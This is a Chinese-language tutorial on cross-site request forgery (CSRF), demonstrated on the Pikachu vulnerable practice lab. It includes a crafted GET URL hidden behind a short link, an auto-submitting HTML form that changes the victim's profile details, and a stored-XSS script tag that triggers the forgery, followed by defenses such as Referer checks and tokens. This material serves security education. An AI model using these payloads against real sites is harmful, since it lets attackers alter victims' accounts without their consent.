目录
CSRF原理
CSRF(跨站请求攻击)的形成原因,简单来说,就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造的csrf脚本或链接,可以执行一些非用户本意的操作(比如更改密码,甚至转账等)。
攻击流程图
这里的恶意网站B更改为csrf脚本或链接(懒得再画图)
CSRF、SSRF与XSS的区别
XSS可以理解为攻击者窃取用户的身份信息进行操作
CSRF可以理解为攻击者没有窃取用户身份信息但是它通过其他手段获取了你的一次性身份信息的利用进行操作
SSRF可以理解为攻击者利用服务器的不严谨的过滤限制,将服务器当作跳板利用进行操作
判断是否存在CSRF
对一些增删改查,购买之类的操作,可以抓包看看逻辑,是否不需要或者可以绕过验证用户身份
比如:
- 修改密码,不需要验证旧密码
- 增删改查不需要验证Cookie
- 虽然退出或关闭了浏览器,但Cookie仍然有效,或者Session没有及时过期
- 去掉Referer字段看是否有变化,没有变化意味着Referer服务器端并未验证;以及查看一下是否有CSRF token
CSRF攻击示例
GET型的CSRF
有一个网站A,修改个人信息,抓包,发现数据包信息
GET /pikachu/vul/csrfget/csrf_get_edit.php?sex=boy&phonenum=11111&add=nba+76&email=123@qq.com&sumbit=submit HTTP/1.1
发现要修改的信息都在URL的参数里面,并不需要进行身份验证
那可以构造一个恶意的URL链接:
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=666&email=hacker@qq.com&submit=submit
当然这太明显,可以把它写成一个短链接(短链接生成平台)
http://g0p.cc/6n6jtL
只要受害者点击,就会触发。
POST型的CSRF
网站B修改信息的数据包
GET /pikachu/vul/csrfget/csrf_get_edit.php HTTP/1.1
......
sex=boy&phonenum=11111&add=nba+76&email=123@qq.com&sumbit=submit
参数的提交采用POST类型,可以利用BurpSuite的自带插件(Generate CSRF PoC)来实现制作一个站点,诱惑目标用户点击,进而发送数据包。
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678911" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="abc@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
然后把链接发给用户,用户只要点击进入这个页面就会触发提交数据包发送请求,直接修改用户的信息。如果攻击者利用JS让用户进行直接的触发,只要打开了响应的页面就会执行这一行为。
CSRF+XSS的组合利用
利用html很不容易让人利用,漏洞触发条件复杂。
利用XSS漏洞来触发CSRF漏洞,可以让这个触发方式变的简单起来。
比如有一个具有存储型XSS漏洞的留言板,创建一个CSRF项目http://localhost/csrf,然后发表评论
</textarea>'''><script src=http://localhost/csrf></script>
当管理员查看留言时就执行了危险代码,执行了请求。
CSRF如何防御
验证HTTP Referer字段
Referer字段是HTTP请求头一部分,记录了HTTP请求的来源地址。当检测到Referer是其他网站的话,则判断有可能是CSRF攻击,拒绝该请求。这是一种同源策略。
添加token,并验证
token是服务器生成的一串随机数,作为客户端进行请求的一个令牌。
在HTTP请求中,会以参数的形式添加一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,假设请求中没有token或者token内容不正确,则判断可能是CSRF攻击,拒绝该请求。
关键请求添加验证码
当进行一些敏感操作,如修改密码、转账等操作,可以通过增加验证手段,比如图形验证码或短信验证码等,来增强安全性。